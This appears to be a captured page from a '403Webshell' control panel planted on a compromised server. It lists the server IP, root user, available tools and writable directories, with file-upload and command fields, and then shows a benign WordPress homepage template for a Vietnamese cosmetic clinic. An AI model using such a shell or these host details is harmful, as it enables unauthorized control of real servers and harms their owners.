403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.169
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/venus-cms/wp-content/themes/venus/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/venus-cms/wp-content/themes/venus/front-page.php
<?php
/**
 * Template Name: Homepage
 *
 * @copyright  ZiniMedia 2021
 * @version    Release: 1.2
 * @package    venus
 * @author     Thanh Vo
 */ 
?>
<?php get_header(); ?>
 <!-- main content -->
 <main class="main-content">
      <!-- start section -->
      <section class="banner flowers">
      <div class="swiper featured-banners">
            <div class="swiper-wrapper">
                <?php 
                while (has_sub_field('slider', 'option')) :
                    $display = "";
                    $img = get_sub_field('img');
                    $title = get_sub_field('title');
                    $desc = get_sub_field('desc');
                    $link = get_sub_field('link'); 
                    if(empty($title) && empty($desc)) $display = "none";
                ?>
                <div class="swiper-slide">
                    <div class="banners-item">
                        <div class="banners-item-img">
                            <a target="_balnk" href="<?php echo  $link; ?>"><img src="<?php echo $img['url'] ?>" alt=""/></a>
                        </div>
                    </div><!--/.doctor-item-->
                </div>
                <?php
                endwhile;
                ?>
            </div>
	    <div class="swiper-pagination"></div>
        </div>
      </section>
      <!-- end section -->
      
      <?php
      $idx = 0;
      while (has_sub_field('services', 'option')) :
        $img = get_sub_field('background');
        $title = get_sub_field('title');
        $desc = get_sub_field('desc');
        $link = get_sub_field('link');  
      ?>
      <!-- start section -->
      <section class="image-box pt <?php echo $idx%2 == 0 ?'leaves': 'flowers'?>">
          <div class="container-lg">
              <div class="heading text-center">
                  <h3 class="title title-sz-1 text-primary-1 fw-bold"><?php echo $title; ?></h3>
              </div>
              <div class="textnone text-center">
                  <?php echo $desc; ?>
                  <a href="<?php echo $link; ?>" class="btn btn-custom fw-bold">Tìm hiểu thêm</a>
              </div>
              <div class="images">
                  <img class="img-fluid" src="<?php echo $img['url'] ?>" alt="<?php echo $title; ?>" />
              </div>
              <!-- <div class="images">
                  <div class="images-cus">
                      <img class="img-fluid" src="<?php echo get_theme_file_uri() ?>/assets/images/upload/cus-img-1.png" alt="..." />
                  </div>
                  <div class="images-thums">
                      <img class="img-fluid" src="<?php echo get_theme_file_uri() ?>/assets/images/upload/eyes-1.png" alt="..." />
                  </div>
              </div> -->
          </div>
      </section>
      <!-- end section -->
      <?php
      $idx++;
      endwhile;
      ?>

      <!--section-video-->
      <!-- <section class="section-video py leaves">
          <div class="container">
              <div class="heading text-center">
                  <h3 class="title title-sz-3 text-primary-1 fw-bold">Video nổi bật</h3>
              </div>
              <div class="row">
                  <div class="col-lg-8">
                      <div class="video-item mb-4">
                          <iframe width="100%" height="484" src="https://www.youtube.com/embed/Zjbh0UrgPPk" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
                          allowfullscreen></iframe>                            
                      </div>
                  </div>
                  <div class="col-lg-4">
                      <div class="row">
                          <div class="col-md-6 col-lg-12">
                              <div class="video-item mb-4">
                                  <iframe width="100%" height="230" src="https://www.youtube.com/embed/Zjbh0UrgPPk" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
                                  allowfullscreen></iframe>                            
                              </div>
                          </div>
                          <div class="col-md-6 col-lg-12">
                              <div class="video-item mb-4">
                                  <iframe width="100%" height="230" src="https://www.youtube.com/embed/Zjbh0UrgPPk" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
                                  allowfullscreen></iframe>                            
                              </div>
                          </div>
                      </div>
                  </div>
              </div>
          </div>
      </section> -->
      <!--e: section-video-->

      <!--section-team-->
      <section class="section-team py" style="padding-bottom: 0;">
        <div class="container">
            <div class="heading text-center">
                <h3 class="title title-sz-3 text-primary-1 fw-bold">Đội ngũ bác sỹ</h3>
            </div>
            <div class="swiper doctors">
                <div class="swiper-wrapper">
                    <?php 
                    while(has_sub_field('doctors', 'option')):
                      $item = get_sub_field('doctor_item');
                      $position = get_field("position",$item->ID);
                    ?>
                    <div class="swiper-slide">
                        <div class="doctor-item">
                            <div class="doctor-item-img">
                                <?php 
                                if (has_post_thumbnail($item->ID, "full")) {
                                  echo get_the_post_thumbnail( $item->ID, "full" );
                                } else {
                                  echo '<img src="' . get_template_directory_uri() .'/assets/images/upload/user_not_thumb.png" alt="' . get_the_title($item->ID). '">';
                                }
                                ?>
                            </div>
                            <div class="doctor-item-body">
                                <h3 class="doctor-item-name mb-3"><?php echo get_the_title($item->ID); ?></h3>
                                <div class="doctor-item-position mb-3"><?php echo $position; ?></div>
                                <?php echo get_the_excerpt( $item->ID ) ?>
                            </div>
                        </div><!--/.doctor-item-->
                    </div>
                    <?php
                    endwhile;
                    ?>
                </div>
            </div>
        </div>
    </section>
    <!--e: section-team-->
      
      <!-- section-infrastructure -->
      <section class="section-infrastructure pt leaves">
          <div class="container">
              <div class="heading text-center">
                  <h3 class="title title-sz-3 text-primary-1 fw-bold">Cơ sở vật chất & Trang thiết bị hiện đại</h3>
              </div>
              <div class="infrastructure-expert text-center mx-auto mb-4">
                  Hệ thống trang thiết bị hiện đại được nhập khẩu trực tiếp từ nước ngoài. Phòng phẩu thuật được vô trùng đảm bảo tính an toàn tuyệt đối trong Y tế. Vị trí của Viện thẩm mỹ Venus - Bs Kiệt và Cộng sự nằm ngay trung tâm của Tp.HCM rất thuận tiện cho khách hàng đi đến
              </div>
              <div class="infrastructure-imgs text-center">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/infrastructure-1.png" alt=""/>
              </div>
          </div>
      </section>
      <!-- e: section-infrastructure -->
      
      <!--section-photos-->
      <section class="section-photos pt">
          <div class="row g-0">
              <div class="col-6 col-md-3 order-last order-md-first">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-1.png" alt=""/>
              </div>
              <div class="col-6 col-md-3">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-2.png" alt=""/>
              </div>
              <div class="col-6 col-md-3">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-3.png" alt=""/>
              </div>
              <div class="col-6 col-md-3">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-4.png" alt=""/>
              </div>
              <div class="col-6 col-md-3">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-5.png" alt=""/>
              </div>
              <div class="col-sm-12 col-md-6">
                  <div class="block-photo-text text-center">
                      <div class="w-100">
                          <div class="number">1000 +</div>
                          KHÁCH HÀNG
                      </div>
                  </div>
              </div>
              <div class="col-6 col-md-3 d-none d-md-block">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-6.png" alt=""/>
              </div>
              <div class="col-6 col-md-3 d-none d-md-block">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-7.png" alt=""/>
              </div>
              <div class="col-6 col-md-3">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-8.png" alt=""/>
              </div>
              <div class="col-6 col-md-3">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-9.png" alt=""/>
              </div>
              <div class="col-6 col-md-3">
                  <img src="<?php echo get_theme_file_uri() ?>/assets/images/upload/photo-10.png" alt=""/>
              </div>
          </div>
      </section>
      <!--e: section-photos-->

      <!-- section-news -->
      <section class="section-news py leaves">
          <div class="container">
              <div class="heading text-center">
                  <h3 class="title title-sz-3 text-primary-1 fw-bold">Tin tức</h3>
              </div>
              <div class="custom-arrows">
                  <div class="swiper newsSwiper">
                      <div class="swiper-wrapper">
                          <?php
                            $args = array(
                              'posts_per_page'   => 9,
                              'orderby'          => 'date',
                              'order'            => 'DESC',
                              'post_type'        => 'post',
                              'post_status'      => 'publish'
                            );
                            $loop = new WP_Query($args, ARRAY_A);
                        ?>
                        <?php if ($loop->have_posts()) while ($loop->have_posts()) : $loop->the_post(); ?>
                        <div class="swiper-slide">
                            <div class="card-news">
                                <div class="card-news-img">
                                    <a href="<?php echo get_permalink(); ?>">
                                    <?php the_post_thumbnail("275x208"); ?>
                                    </a>
                                </div>
                                <div class="card-news-content">
                                    <h3 class="card-news-title"><a href="<?php echo get_permalink(); ?>"><?php echo get_the_title(); ?></a></h3>
                                    <div class="card-news-meta"><i class="fa-regular fa-clock me-1"></i><?php echo get_the_date() ?></div>
                                </div>
                            </div><!--/.card-news-->
                        </div>
                        <?php endwhile; ?>
                      </div>
                      
                  </div>
                  <div class="swiper-button-next"></div>
                  <div class="swiper-button-prev"></div>
              </div>
          </div>
      </section>
      <!-- e: section-news -->
  </main>
  <!-- e: main-content -->
<?php get_footer(); ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit